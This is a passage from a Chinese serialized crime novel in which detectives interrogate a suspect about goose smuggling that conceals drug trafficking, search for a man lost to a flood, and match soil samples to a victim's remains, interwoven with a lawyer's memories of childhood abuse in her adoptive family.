“你太奶奶已经走了快四十年咯。你刚才问我信不信算命的,我倒是很想相信,那样……我就不会害怕离开,反而是期待。如果我阿娘能来接我,那多好啊。”张鸿禺说着,又吃了一口,眼神忽然变得温和而柔软。 张越凝没接话,这个时候的张鸿禺,只是个普通的老人。 话题有点沉重,张蕤帆笑着把话题岔开了。 吃了午饭,彭秀来了,张蕤帆和张越凝一起离开。 张越凝今天没开车来,家里司机送沈青去办事还没回来,张蕤帆送她。 “去哪儿?律所?” “回家午休,顺便开车。”张越凝系上安全带,轻轻舒了口气。 张蕤帆看她一眼,问:“中午算命效果怎样?” 张越凝哑然一笑,“爷爷这多疑的性格,他肯定会怀疑算命先生是老赖一家让陈延达请来的。” “还是你妈了解老爷子。我爸就没那么聪明。本来我爸的意思是,让算命先生直接批赖嘉和的八字跟爷爷相克,你妈不同意,她说老爷子多疑,要反其道而行之,你看,果然……” “不过我觉得爷爷最在乎的可能是那句‘守不住财,晚景一般’,太损了。”说着张越凝自己都忍不住笑。 刚吃的凉菜里有大蒜,她从包里拿出一盒口香糖,问他:“吃吗?” “来一颗。” 张越凝拿出一颗直接递过去,喂他嘴里。 张蕤帆最吃她这一套,他心满意足地嚼着口香糖,仿佛她给的不是糖,是仙丹。 “我听说,你最近谈了个男朋友?” “嗯。有机会介绍你们认识。” “我为什么要认识?”张蕤帆吃着香甜的口香糖,却是满口的醋味。 “你不帮我把把关?” 张蕤帆摇头:“不用把关,你跟他走不到一块。” 张越凝白他一眼:“能不能说点好的?” “我能说什么,你在外面玩腻了,回过头……知道怎么回家就够了。” 张越凝笑了笑,没反驳。 她母亲一直在跟其他人说——她在外面就只是玩。 那是张芷琼给她编织的,冲不出去的茧房。 忽然下起了滂沱大雨,左右摇摆的雨刮器,仿佛催眠神针,她困倦地闭上眼。 等醒来,已经回到云麓庄园。 张家前后两栋别墅紧紧挨着,x彼此独立,又互相串联。 赵润嵩张蕤帆父子陪着张鸿禺彭秀老两口住前宅,张芷琼张越凝母女住后宅。 送张越凝回到家,张蕤帆回公司上班,张越凝则独自一人进了屋。 家里静悄悄的,看不见人影。 往里走,保姆秦姨坐在厨房门口剥莲子。 听见脚步声,秦姨抬头看过来:“吓我一跳,我以为是你妈妈噻。” 张越凝问:“我妈回来了?” 秦姨小声提醒:“回来午休。在楼上呢。” 张越凝往楼梯口望去,外面狂风暴雨,屋内没开灯光线不足,总觉得影影憧憧如有鬼魅。 贾伟东再次被请回来问询。 大家手上工作都多,夏木棉虽然是跟陆从景一组的,但也要忙其他人安排的事。 张皓钧案申请重启调查,她这边要做补充资料,忙得中午都只吃了半碗米线。 小耿快步进来,一身快湿透了,木棉才知道外面在下大雨。 “我从来没见过这么大的雨,门口积水的地方,雨水都快没过膝盖了。” “这么严重?” 夏木棉绕到有窗户的洗手间,发现窗外乌天黑地,暴雨如泻。 这种景象,她也只在电影里看过。 拿起手机才发现,半个小时之前张越凝给她发来了微信,她忙打开,是一则语音。 点开语音细听,声音距离感觉有点远,听不太清内容,只听得出是个中年女人的声音。 木棉快步往里走到一处安静的角落,听清了语音里的女声:“怎么才能阻止警方重启调查?想想办法……” 这是录音?是谁在说话? 木棉快速打字:“凝姐,不好意思,我刚看到微信,你发来的语音是谁的?” 微信发过去,等了好一会儿也没回音,不知道张越凝是不是跟她一样,没看手机。 这个点,戴丽华正在办公室摸鱼做十字绣,旁边两个同事边嗑瓜子边聊天。 两点多,她拿起手机打给曾立兴,但电话打不通。 说好下午要转账过来的,一直没动静。 看着窗外的瓢泼大雨,戴丽华也没太担心,快下班还是联系不上,才打电话去家具厂,他办公室的人说老曾中午出去后就没回来。 戴丽华问电话那头的老熟人:“他有没有说去哪儿呀?” “手痒了嘛,他说趁着午休去钓鱼。估计在哪儿躲雨,手机没电了吧,老曾那么大的人了,担心个球啊。” “我不是担心,我是有事找他。” 钱有没有转过来也不说一声,她主要是担心钱。 傍晚雨停了,老曾还是联系不上,戴丽华打电话给儿子,让他去江边老曾常钓鱼的地方找找。 曾晖到临花江平时他父亲打窝钓鱼的芦苇地寻找,结果只找到了陷在泥沙里的装鱼水桶,和被水泡了的折叠凳子。 周围找了一圈不见父亲踪影。 看着大雨后暴涨的滚滚江水,曾晖手心发凉,不祥的预感袭来。 看到好多上本完结小说的熟悉面孔,谢谢你们的支持,感恩[比心][比心] 本章留言有小红包掉落哈,截止下章更新 第19章第19章差不多晚上7点,夏木棉还没…… 差不多晚上7点,夏木棉还没收到张越凝的回复,她忍不住给对方打去电话。 她从来没主动给张越凝打过电话,不知道为什么,心底有些紧张。 电话响了六声,她都差点放弃了,那边终于接通。 “喂,木棉。”听声音,她在外面,所处环境有些嘈杂。 夏木棉:“凝姐,我给你回了微信,我怕你没看见,没打扰您吧?” 张越凝:“我等会儿回你。我在派出所。” 木棉关切问道:“怎么了?发生什么事了吗?” “曾叔叔不见了,他中午去临花江钓鱼,失踪了。我们担心他出意外被洪水冲走,我陪你晖哥在派出所报案。” 夏木棉吓了一跳,“我三叔不见了?你们在哪个派出所,我现在过去。” 挂了电话,夏木棉把曾立兴失踪的事跟同事们说了,小耿仗义,开车陪她去。 到了南岸派出所,见到了曾晖和张越凝,警方正在联系搜救队,准备去搜寻。 在曾晖和派出所警察沟通的时候,张越凝走来跟夏木棉聊了几句。 她们站在派出所外面的屋檐下,雨水已经小了很多,飘洒着的细雨,不时往她们脸上扑来。 “那是我妈打电话给别人的录音,我也不知道她打给谁,发给你们参详。” “是什么时候的?” “就今天中午。” 夏木棉点头:“谢谢你,凝姐。” 张越凝微微莞尔,她瞥木棉一眼,忽然问:“你是因为你姐姐的案子,才选择做警察的吗?” 这个问题,有不少人问过夏木棉,每次她都否认。 她不是为了姐姐,她就是自己想做警察。 不知道为什么,张越凝问她,她竟就乖乖说了实话。 “我姐姐高中时的志愿是做一名优秀的警察,我也不是为了想要实现姐姐的愿望,就是鬼使神差的,我好像从小没什么梦想,不知道从什么时候开始,姐姐的梦想,就成了我的梦想,一不小心就……实现了。” “有你这么优秀的妹妹,你姐姐一定会很欣慰。” 木棉想起姐姐失踪后的遭遇,忽然有股酸涩上涌,“也不知道能不能找到凶手。” 张越凝抱着双手,她没安慰木棉,她看着灯光下飞舞的毛毛细雨,空了好一会儿,才说:“我相信你们。” 九点多,木棉才闲下来把张越凝发给她的语音转录后,发给陆从景。 陆从景对那条语音没发表什么看法,反而是曾立兴的失踪,让他反应更大。 他让木棉把曾立兴失踪案的详细资料整理好发给他。 曾立兴大概率是没了。 警方和搜救队找了两天两夜,只在下游半里地的临花江拐弯处找到了他使用的钓鱼竿。 其他一无所获。 这个案子直接在派出所结案了,并没有移交刑侦。 而三组这边对贾伟东和他老婆的审讯有了新进展。 贾伟东老婆马月娥熬不住,终于交待,贾伟东当时是去边境帮人走私贩鹅去了。 面对这个指控,贾伟东只能承认自己当年为了赚钱,帮人贩鹅的事。 “贩的什么鹅?” “就普通的白鹅。” “去哪儿贩鹅?” “符库。” 符库是邻国边境的一个小镇。 本来审得已经很暴躁的程栋梁,见他交待,终于放缓了语气:“仔细说说,是怎么贩鹅的?给谁?贩了多少?从哪儿到哪儿?” 贾伟东:“朋友介绍的单,帮他老板在符库采买了一卡车的白鹅,入境后送货到梁州。” 程栋梁追问:“什么朋友介绍的单?” 贾伟东咳嗽一声:“能给我一杯水吗?” 程栋梁回头看了一眼陪审的小耿,“给他一杯水。” 小耿出去倒了一纸杯的水,放贾伟东前面。 满满一纸杯水,贾伟东一口闷完,之后才重重舒了口气。 “我以前打牌认识的一个牌友叫叶庆杰,他工作非常清闲,但从不缺钱花,我就好奇,他做什么工作。他告诉我,他给私人老板贩鸡鸭鹅。我那段时间不是下岗嘛,实在是找不到工作,坐吃山空,我就问他有没有门路,能不能带上我。后来,他就让我跟他一起贩鹅。” “他老板是谁?” “霍兵,做食品生鲜生意的。” “这一单你赚了多少钱?” 贾伟东想了好一会儿,才说:“三千。” “叶庆杰呢?他拿多少?” “应该比我多一些。具体我不清楚。” 程栋梁质问:“既然只是贩鹅,为什么你之前不敢承认?” 贾伟东扣着椅子:“走私。我不敢说,怕承担责任。” “走私一趟要多少时间?” “三天。” “用的是什么卡车?能装多少鹅?” “就普通货车,一层可以摆10个塑料笼,总共有三层。” “一笼大概多少只鹅?” “不记得了。” “好好想想!” 贾伟东不得不仔细回想,“可能有10只。” “也就是说,一辆货车里你们走私了300只鹅?” “差不多吧。” “进货价多少钱?” “那边便宜,5块钱一斤,一只8斤左右。” “这边多少钱卖出?” 贾伟东没想到警察会问那么细,他摇头:“那我不知道。” 程栋梁让人去查,很快拿到了数据。 “现在白鹅零售价15元一斤,10年前是12元左右,也就是说一只白鹅,你们老板满打满算能赚48元,你们运一批货才300只,可以赚14400,再加上损耗、运费和油费,能赚1万吗?” 贾伟东:“赚一万也不少了。” “但他给了你3000,给你朋友不止3000,最x后老板赚的还没你多啊。” 贾伟东意识到话语中的漏洞,“应该是算错了,运的肯定不止300只。” “说实话!贾伟东你别在这里浪费我们时间!”程栋梁提高了音量呵斥,她黑着脸的样子,很能唬人。 贾伟东脸上不自在地抖了抖:“我……我说的都是实话。” “符库在金三角边上,你们去符库走私白鹅?才三天,老板就给你3000元,还是十年前的价格,你骗谁啊?” “毕竟是走私,我也要承担风险,你看,我现在不是进来了吗?” “根据资料显示,九年前海关截获几批走私白鹅,并从白鹅胃中查获大量□□。”程栋梁敲着桌子,厉声道:“你不是走私白鹅,你是走私毒品!而且不止一次吧?!你拿到手的只有3000?这就是你这么多年不工作都还能有饭吃的真正原因吧?!” 贾伟东心虚不敢看程栋梁,他咬着牙硬扛着不承认,“我不知道啊,我只是贩鹅的,警察同志,我真不知道。” “你硬撑没用,你刚才提到的人,我们都会去找来,仔细查证。如果他们招的比你快,并认真配合我们工作,那获得减刑机会的自然就是他们。”程栋梁不跟他浪费时间,“这个问题我们先过,会有另外的警察来审你。你现在老老实实告诉我,许忠死的那天晚上,你究竟在干什么?” 贾伟东没想到话题转这么快,被关这么多天,他整个脑袋都木掉了。 “那天晚上我啥都没干,连电视都没看,我下午打牌输了钱,没心情,自己一人喝小酒,玩手机。” 程栋梁:“喝醉了?” “没有。度数很低的酒,醉不了。” “几点睡的?” “十一点半吧?也可能更晚。我老婆睡的早,她中途起来看我还没睡,还骂了我两句。” 程栋梁:“你那么晚睡,没听见隔壁许忠家有什么动静吗?” 贾伟东搞不明白为什么警察审问总是这么反反复复的:“我上次就说了呀。” “再详细说一遍。”反复询问是盘问技巧,一般情况下,只有真正发生的事才能经得住反复盘问而不出逻辑纰漏。 除非你什么都不回答,或者你是逻辑天才。 贾伟东:“我那天晚上九点左右听见许忠家开大门的声音,他关门的时候声音特别大,许忠应该是那个时候回来的。不晓得过了多久,反正挺晚了,我听见‘锵’的一声响。是不锈钢盘不小心掉地上的声音,老许家喜欢用不锈钢盘。” 现场确实有装西瓜的不锈钢盘。 程栋梁问:“有没有听见拉拽沙发或者箱子之类的声音?” 贾伟东仔细回想:“没有。我这人特别怕吵,一点点声音都会吵到我,我神经衰弱啊,很敏感的,所以老曾家才故意养鹦鹉来折磨我。认真想想,都怪老曾,要不是他养鹦鹉激怒我,我不会拿枪出来打鸟,也就不会有现在这些破事。” 他懊恼,为什么当时没忍住。 程栋梁冷眼盯着他,虽然还没足够的证据,但贾伟东在她这里,已经是一名贩毒分子。 “你这种人,是没有丝毫反省能力是吧?认为错都是别人的!”她就差把人渣败类骂出口了。 此时,陆从景正在监控室看审讯,贾伟东有神经衰弱? 木棉开门进来,递给他两张纸。 原来是贩鹅老板霍兵的资料。 霍兵于2007年关闭生鲜公司,自此之后,在汇海贸易做仓储负责人。 汇海贸易? 夏木棉轻声说:“汇海贸易老板骆金水以前是捞偏门的,1999年曾经被控贩毒,但因证据不足被放,后来检方又控他走私,判了三年,出狱后转做外贸生意,算是洗白上岸了。” 陆从景把资料放桌上,这个信息很重要,但他现在对另外一条线索更感兴趣。 他回头问木棉:“曾立兴有消息了吗?” “没消息。救援队那边说,生存机会渺茫。”夏木棉黑眼圈严重,她最近都没休息好。 “你去申请查一下曾立兴手机信号定位。” “他手机应该是一起被水冲走了,打不通,没信号。” “你去查,除了信号定位,还有他最近一个星期的通话记录,以及最近一个月他的银行账户、微信、支付宝的流水情况。” 木棉不解:“为什么?” “按照我说的去做。”陆从景看了眼手表,已经晚上7点了,“你明天跟进就好,连续加班工作效率会降低,先下班回家休息吧。” 说着陆从景站起身自己先离开了。 木棉愣在原处,陆从景怀疑她三叔? 不可能的。 她姐姐失踪的时候,她三叔在医院做手术住院。 当时三婶帮忙去找她姐姐来不及去送饭,她还去机械厂食堂买了饭送去医院给三叔。 如果不是怀疑他三叔,那是因为什么呢? 她脑洞大开,各种想法呼呼往外冒。 夏木棉没着急下班,而是去把申请表都先填好,找组长签完字,明天一早就去技术侦察科查曾立兴的通话记录和银行流水。 本章依然有小红包掉落哈,截止下章更新,下一章更新是85日35点。 第20章第20章回到机械厂家属院已经八点多…… 回到机械厂家属院已经八点多,木棉肚子饿得咕咕响,她从小区后门出去看看有什么吃的。 平时后门有卖锅盔和煎饼果子的三轮车,可能来太晚,都回去了,只有卖手抓饼的嬢嬢还在。 她要了两个手抓饼,在等待的时候,家属院小区的扫地阿姨站在后门口骂骂咧咧的指桑骂槐。 有人把她负责的垃圾桶扔到了小区外面,结果被门口大排档当做潲水桶…… “谁扔你的垃圾桶你找谁,扔到我店门口,我就是要当潲水桶!”大排档老板穿着围裙拿着个锅铲也不相让。 “不知哪个王八蛋手脚辣么贱……” 扫地阿姨还在吵,木棉拎着手撕饼进了后门,走到12栋楼下,刚好遇见张越凝从13栋出来。 “凝姐……” “木棉。”张越凝看着木棉手里拿着的纸袋子,“你还没吃晚饭?” “是啊。你吃了吗?” “我刚吃了。” 张越凝和曾晖在外面打包了菜饭回来陪戴丽华一起吃的晚饭。 木棉问:“我三婶怎么样了?” 张越凝:“精神状态不太好,吃不下饭,两天没怎么睡,曾晖在家陪她。” 两人聊了会儿,道别后,张越凝驱车回家。 在云麓庄园地下车库,刚好碰见张蕤帆准备出去。 张越凝问他:“那么晚了,你去哪儿?” 张蕤帆甩着手上的车钥匙,“约了人喝酒,你去不去?” “不去,我都累死了。” “你怎么才回来?忙什么啊,累成这样?” 张越凝如实道:“我男朋友的爸爸被洪水冲走了,我这两天陪着他到处跑。” 男朋友爸爸被洪水冲走了?她还陪着男友到处跑? 张蕤帆仔细打量着她:“哎,张越凝,你不会认真的吧?” “什么?” “男朋友啊……” “当然认真的呀,我跟他是奔着结婚去的,之前我就跟你说过,哪天你有时间,我介绍你们认识。” 张蕤帆神色微黯,稍一停顿后,他回头:“行吧,有机会认识一下。” 两人分别后,张越凝独自回家。 秦姨见她回来,关切问道:“熬了你爱喝的松茸鸡汤,多少喝点吧?” 松茸鸡汤还是有点诱惑力的。 张越凝笑道:“来一碗。” 放下手提包,张越凝去厨房洗手,“她回来了吗?” “她”指的是张芷琼。 “在楼上,刚刚开电话会议好像在骂人。” 秦姨在张家工作十多年,她是这个家,张越凝最依赖的人。 把鸡汤端到张越凝前面,秦姨压低声音说:“你莫要惹她,晚上生气容易长痘痘,不值当。” 张越凝没回答,她喝了口汤:“汤好喝。” 喝完汤,她上楼回房间,看了会儿书,才去洗澡。 浴室里有全身镜,她能看到自己胸前和背上的几处伤疤,特别是背部的疤痕,巴掌长,用了很多牌子的疤痕膏都去不掉。 这是13岁时受的伤。 肇事者就蹲在她面前,一张没有血色的瓷娃娃的脸,满脸都是嚣张的鄙夷和得意。 “放心,出这点血,死不了。”瓷娃娃说。 “我们家的医生不会让你死的。”说着她狠狠拍张越凝的脸,随即站起身,又一脚踹过来。 瓷娃娃恨得歇斯底里:“以后再敢在我爷爷面前装乖邀功,我就划破你的脸、剁了你的手!”x 倒在地上的张越凝,双手被赵蕤帆按着,动弹不得,她看着跟她同龄的瓷娃娃,不屈服地嘲讽:“连20分都考不到的废物,你在浪费我的血!” 可想而知,接下来又是一顿暴风骤雨般的拳打脚踢。 血流得有点多,帮凶赵蕤帆怕出事去找来了秦姨。 在医院醒来的时候,张越凝睁开眼,就看见张芷琼站在床边,冷眼看着她。 而瓷娃娃哭得梨花带雨地颠倒黑白:“是她先骂我的!她骂我是考20分的废物,还诅咒我早点死,我太生气了才失手的!爷爷……爷爷,我不是故意的。” 张鸿禺没看张越凝,而是失望地看向张芷琼。 张芷琼声音极冷:“这就是个养不熟的白眼狼。我说了我不要领养,不要领养,你们非得逼我养。现在出事了,谁也别往我头上扣屎盆子。” 面对女儿推卸责任的强硬态度,张鸿禺气得额头上的青筋都在突突跳动。 在医院他不好发脾气,也就只能忍了。 当然,他并没有替张越凝主持公道,在他眼里,张越凝还不值得他去费心照顾她的情绪。 但他也不能什么都不管,这不符合他家“积善载德”的家风。 最后只能是各打五十大板,他最疼爱的亲孙女,张皓钧的双胞胎妹妹张皓月,作为行凶者罚抄全本《孟子》,以修身养性。 而受害者张越凝,同等受罚,病好后也要抄全本《孟子》。 张越凝躺在病床上,看着这荒谬的结果,委屈劈头盖脸砸下来,她曾经以为,爷爷多少会讲点道理。 她以为爷爷是家里所有人里,最关心爱护她的。 可惜并没有。 她忽然认清了现实,心底比刚才被打还要疼痛。 她不甘心,拼尽全力喊出声,想要说明白:“我期中考了年级第一,张皓月不高兴,是她先动手打我的!” 张皓月大声反驳:“才不是……” “闭嘴!都给我闭嘴!”张芷琼烦死这两个臭小孩。 张芷琼不耐烦地轻拍额头:“张皓月,你跟别人合起伙来下死手打人,恃强凌弱、行为极度恶劣!幸好打的是张越凝,要是打了别人家的孩子,我看谁能保你!我们老张家的脸面都要被你丢光去。” 幸好打的是张越凝…… 听着这句话的小张越凝眼泪吧嗒流下来。 站在一旁的张皓月嘴也很硬:“我不会打别人。我只打狗都不如,忘恩负义的东西。” “荒谬!”张鸿禺回头瞪了眼张皓月,自打儿子儿媳走了后,他确实把孙子孙女给宠坏了。 但让他收拾张皓月,他又狠不下心来,也觉得没必要,只好吩咐张芷琼:“交给你处理。” 说完转身离开了病房。 张芷琼能怎么处理? 她不可能为了自己都不亲厚的女儿去得罪老爷子。 这事也就只能不了了之。 张越凝白挨了打,还落得张芷琼埋怨。 “蠢死了!” “蠢死了”这三个字在张越凝脑海中萦绕了好久好久。 被轻易放过的张皓月没安生几天,等张越凝出院回到家,就又想着法子来折磨她。 但张越凝已经有所防备,她不可能再像上次那样,只要张皓月敢动歪脑子,她都坚决打回去。 张越凝大多数时候都是乖巧的,但被逼急了,就会露出乖张的本性。 她知道只要瓷娃娃还活着,张家根本拿她没办法。 毕竟,她是瓷娃娃的活血袋。 张越凝不喜欢回忆过去,所以,她目光从不在疤痕上多停留。 利落地挽起头发,看见放在台面的手机屏幕亮起。 陆从景给她发来微信。 【你发给木棉的录音,是你母亲哪一天几点几刻打的电话?】 蠢死了! 不,他不是蠢,他是故意的,故意来找她各种套话。 张越凝关了手机屏幕,没有回复。 笃笃笃! 笃笃笃笃笃! 刚起床,正在吃泡面的陆从景去打开了房门。 门外站着的是木棉。 上午他没去办公室,木棉拿着资料找上门来了。 “师兄。”木棉进屋发现窗帘只开了一半,知道陆从景才起床,再一看桌上的泡面,不由道:“早知道我给你带午饭来了。” 陆从景坐下继续吃泡面,“查的怎么样?” “我三叔手机号码还是没信号。”木棉从包里把资料都拿出来,“这是他失踪前一周的通话记录。” 陆从景拿起来看,曾立兴失踪前最后一通电话是11:45分接通的,通话时长3分25秒。 “谁打给他的?” 木棉拉开椅子坐下:“我三婶打给他的。我看了派出所那边的笔录,三婶当时打电话给我三叔,提醒他下午务必去银行转账,三婶让我三叔把银行账户里的钱转给她。” “这么简单的事,打了3分25秒?” “他们还聊了买房的事。” “买什么房?” 木棉:“越凝姐在云麓庄园买了一套房,准备给我三叔三婶住,房本写她和我晖哥的名字,卖房的业主出国还没回来,在等房产过户。我三叔三婶现在住的房子,隔壁不是刚死了人么,他们住着不舒服,就想在鼎盛花园买套房,先搬过去住,自己买的房,住着也心安一些。我三婶打电话给三叔,就是让他把银行账户上的钱转给我三婶,他们夫妻俩凑够42万要去把房子买下来。” “曾立兴把钱转给戴丽华了吗?” “还没转账就出事了。不过很奇怪,我三叔在12点去人民路工商银行取了10000元现金。”说着夏木棉把她查到的曾立兴资产流水递给陆从景。 陆从景放下塑料叉子:“也就是说,曾立兴失踪的时候身上至少有一万元现金?” “应该是的。” 陆从景接过资料细看,曾立兴账户上还有二十多万人民币存款没动,他叮嘱:“继续盯着他的银行账户,还有手机信号。” 木棉应了一声,她想了想,又问:“师兄,你为什么忽然要调查我三叔啊?” “你不觉得你三叔失踪的时间点很巧合吗?” “组长昨天跟我聊了这事,他也觉得很巧合,亮哥他们也在查,不过目前没查出什么端倪。” 陆从景吃出汗了,他抽了张纸巾,擦了擦额头上的汗:“不止巧合,还有其他的可疑点。等我理顺了,跟你细说。” “能现在跟我说说吗?”木棉心里着急。 还不是时候。 陆从景把泡面盒装进垃圾袋里,“走吧,下午不是要开会吗?” 快出门的时候,他才忽然想起来,“你吃饭了吗?” “我吃了面包。” 半小时后,陆从景把车开进了刑侦大队办公楼外的停车场。 还没下车,木棉就看见了前面有辆大众迈腾,车牌号最后三位数是“555”,特别醒目。 “师兄,张越凝的车。” 陆从景也看见了,不由问:“她来做什么?终于开始调查张家的人了?” “不知道啊。” 上了二楼,他们在等候区看见张越凝拿着手机手指飞快地打字,似乎是在编辑短信,而她助理沈青正在旁边填写资料。 木棉走过去小声打招呼:“凝姐,你怎么来了?” 张越凝看见她,笑着站起身:“我当事人被传唤了。” “你当事人?” “霍兵。” 哦,那个贩鹅的老板现在是汇海的管理层,张越凝因为接了骆安乔的案子,可能顺便也接了这个。 陆从景也走前去打招呼,“张小姐,方不方便聊两句?” 前两次都是她问他能不能聊两句,这次轮到他了。 听见这话,沈青抬头看向了陆从景。 “方便。”张越凝神色淡定地笑着答应了一声,随后交待沈青,“你填好资料在这儿等我,我跟朋友出去一会儿。” 明天开始中午12点更新哈[狗头叼玫瑰]《 》 20-30 第21章第21章他们一前一后走出等候区,穿…… 他们一前一后走出等候区,穿过长长的走廊,拐进一个小小的阅览室,往外走,来到一处阳台。 阳台外是等待拆迁的老楼,墙体斑驳,门窗残破。 而老楼后面的远处,高楼直上云间,恍惚间,像是海市蜃楼,不甚真切。 陆从景先开口:“冒昧问一句,你是计划给曾立兴夫妇买房吗?” 张越凝原以为他要追问那段录音电话的具体时间,质疑她为什么不回他微信……原来不是。 她说:“只是买了给他们居住的,房本写我和曾晖的名字。” “你这套房值多少钱?” “五百万左右。” “你主动送的,还是他们要求的?” 张越凝微微笑了:“陆顾问,这算是盘问吗?” “当然不是。我不是警察,没有盘问资格。”说着他话锋一转,“不过,如果张小姐想要达成破案的愿望,你最好能如实回x答我。” 她想要破案的愿望是什么? 让张芷琼去她该去的地方。 张越凝轻声道:“我主动送的。曾晖一直很想买东方华府的房子,但不知道为什么,曾家叔叔阿姨不喜欢那个小区,不是说户型不好,就是风水不行,无论曾晖怎么坚持,他们都不愿意买东方华府。而他们自己看中的鼎盛花园环境又比较差,我就想着在我住的小区买套房给他们居住。这有什么问题吗?” 陆从景:“当然没问题。” 张越凝好奇问:“这跟破案有什么关系呢?” “或许有关系。” “或许……”张越凝笑着嘲讽了句,“你们效率可真够可以的,到现在都毫无动静。” 陆从景:“木棉他们组的人已经两三个星期没休息,你以为的毫无动静,不是真的没动静,不然,你今天也不会来这里见你的当事人。” 张越凝看了眼手表,“既如此,陆顾问不应该下午才来上班啊。” 她语气温和地让人无可辩驳,陆从景无奈岔开话题:“再问一个问题。上次我跟踪你的事,曾家的人知道吗?” “你跟踪我了?”张越凝故作惊讶,“哦,原来上次在乐豪大厦相遇,你是跟踪我。” “张小姐,既然我们要合作,那不妨都坦诚点,你也不用在我面前……演戏。” 张越凝瞥了他一眼,没有接这个话茬,而是回答了他上一个问题:“曾晖看见我上了你的车,他打电话问我为什么,我跟他说,你在调查张皓钧死亡案。” 既然曾晖知道他跟踪张越凝,那么曾立兴夫妇也可能会知道。 两人分开后,陆从景回了办公室。 陆从景本来只是想跟张越凝确认一些他想知道的事,但意外的,他获得了另外一条可能有用的信息。 夏木棉正想问陆从景,他跟张越凝聊了什么,刚好刘泰安招呼大家去会议室开会。 陆从景打开台式电脑,吩咐木棉:“你先去开会,我等会儿来。” “哦。” 大家都拿了资料往会议室走,只有陆从景无动于衷,刘泰安也拿他没办法。 陆从景快速搜索东方华府的资料。 他发现东方华府原本是白鹤食品厂的一处老厂房,这处老厂房以前是负责腌制品生产的。 再一查,曾立兴所在家具厂五年前的旧址就在白鹤食品老厂房边上。 联想起夏木橙骸骨里的泥土含盐量较高,陆从景靠在椅子上,有些事似乎能串起来了。 现在要做的,就是去验证他的猜想。 他走到大会议室外,推开后门,田海亮正在分析案情,木棉坐在后排,她听见动静,回过头来。 陆从景勾勾手指,让她出来。 木棉轻手蹑脚从会议室后门出来,“怎么了师兄?” “跟我出去一趟。” 木棉为难道:“还在开会呢。” “回来看会议记录,走吧,快点。”陆从景不容置喙,自己先回办公室了。 木棉没办法,她只好回去跟刘泰安说了一声,然后拿了本子和资料悄悄退场。 他们带了几个物证袋来到东方华府的售楼中心,跟相关负责人沟通后,进入东方华府小区找施工队。 东方华府分两期开发,第一期已经封顶销售,第二期还在建设中。 “我们要取地表往下一米左右的原土。不用太多,但不同方位都要有。” 施工队监理犯难道:“建地下车库的时候都挖空了,回填地基的泥土全搞混了,而且表层的泥土还特意回填到比较深的地方,很难找到原土。” “为什么表层泥土要回填到深处去?” “东方华府以前是经营了五六十年的食品生产车间,表层泥土含盐量较高,所以回填时都往深了填。现在表层的泥土是从其他地方运过来的。” 木棉一听含盐量高,她马上问:“你们有没有以前泥土含盐量高的数据?” “这个我不清楚。可能没有。” 陆从景翻看楼盘宣传册,“一二期地下车库是打通的吗?” “不通的。中间规划了一条新的市政路。”经陆从景这么一提醒,监理马上想起,“市政路和路两旁的地下没挖,不知道那里的泥土你们要不要?” “要。”陆从景又指向一期和二期外围一圈的自行车道,“我看外围也没有地下车库,这四个角也可以取样。” 花了差不多一个小时的时间,总共取了8个样品的泥土,当即送去司法鉴定所。 陆从景想要加急处理,但需要刘泰安去协调。 夏木棉打电话给刘泰安,结果刘泰安来了一句:“你让他亲自跟我汇报清楚是什么情况。” 挂了电话,木棉小声跟陆从景说:“师兄,刘组长让你给他电话。” 陆从景手里拎着两杯售楼中心接来的冰水,一杯递给木棉:“你跟他说清楚我们要加急的时间了吗?” “说了。” “说了就行。等吧。” 果然,不过十分钟,鉴定所收到了刘泰安的协调申请,优先处理今天送检的泥土样品。 陆从景还是把刘泰安拿捏住了。 鉴定所加班加点也要明天才有结果,陆从景和木棉便先回了办公室。 回到办公室,陆从景找出许忠出事时的口供细细研究。 没到下班点,他便先离开了。 从戴丽华家出来,张越凝开车送曾晖回乐豪大厦。 在地下车库,曾晖揉着她的手,说:“别回去了,今晚陪我。” “不行,我妈盯着呢。” 曾晖收回自己的手,有些不高兴:“每次都是你妈,每次都是,张越凝,你是还没戒奶吗?!” 这几天为了他爸的事,曾晖颇有些暴躁,情绪失控。 张越凝无奈:“我身不由己。你没在我那个环境生活过。” “别找借口了。你不就是不想吗?什么年代了,什么都非得婚后,你有没有尊重过我是你男朋友?” “我怎么不尊重你?买房我加你名字,你父亲出事,我帮你跑前跑后!我律所一堆事务要处理,我爷爷住在医院随时可能下病危通知,我妈压得我喘不上气,我还得时时照顾你的情绪!!” 理亏的曾晖一时语塞: 张越凝不想吵:“下车。” 曾晖迅速解开安全带,出去后,“嘭”的一声关上了车门。 越是不在理,还越要摆出气势来。 张越凝微一抿唇,也没多停留,直接起步驱车离开乐豪大厦。 自从上次跟踪张越凝被发现后,陆从景不再开自己的车去跟踪。 他现在是每天租不同的车跟她。 跟着她下班,之后从机械厂家属院到乐豪大厦,再从乐豪大厦回云麓庄园。 她对曾家人很上心,非常负责,没几个人的女朋友能做得有她好。 今天有点奇怪,张越凝开车绕着云麓庄园兜圈,兜了一圈又一圈。 陆从景把车停在远处看着,也不知道她是有心事,还是情愿兜圈都不想回家,他只能静静旁观,无法靠近。 大概兜了五六圈,张越凝才开车进小区地下车库。 九点左右,估摸着张越凝不会再出门,陆从景才回住所。 在小区外面的一家湘菜小馆点了一份辣椒炒鸡蛋。 饭菜刚端上来,接到木棉的电话。 “师兄,鉴定所的结果出来了。” 这么快?! 陆从景文:“什么结论?” “你在家吗?我就在你家门口。” “我在小区外面吃饭,你等会儿。”陆从景快速扒拉两口,随后结账回家。 回到家门口,夏木棉就坐在旁边的阶梯上。 其实她打个电话告诉他结果就行,不必亲自来,她要来,就是想要他中午承诺的“跟她细说”。 木棉站起身跟着进了屋:“如你所料,成分一致。” 她姐姐骸骨里残留的高盐泥土跟东方华府其中两份的泥土成分完全一致。 打开灯,陆从景把钥匙放门口,再往里走,进了书房。 木棉发现软木墙板上最中央位置的相片,已经从张芷琼换成了张越凝。 她有点诧异:“越凝姐怎么会在最中间呢?” “别管,随时可能换位置,不重要。”他刚才没吃饱就急匆匆回来,他去客厅柜子里拿了一盒曲奇饼干进来。 “吃不吃?” 木棉摇头:“不饿。” 她不想吃,只想听他开聊。 陆从景倒了杯牛奶,并从冰箱里拿出一瓶矿泉水放木棉前面的桌上。 他打开饼干盒,吃了几块曲奇,才坐下开始跟她细说。 “许忠被杀当晚,许家传出‘锵’的一声,这个声音应该是许忠切西瓜时,装西瓜的不锈钢盘跌落在地发出的声音。” 木棉赞同:“应该是。” 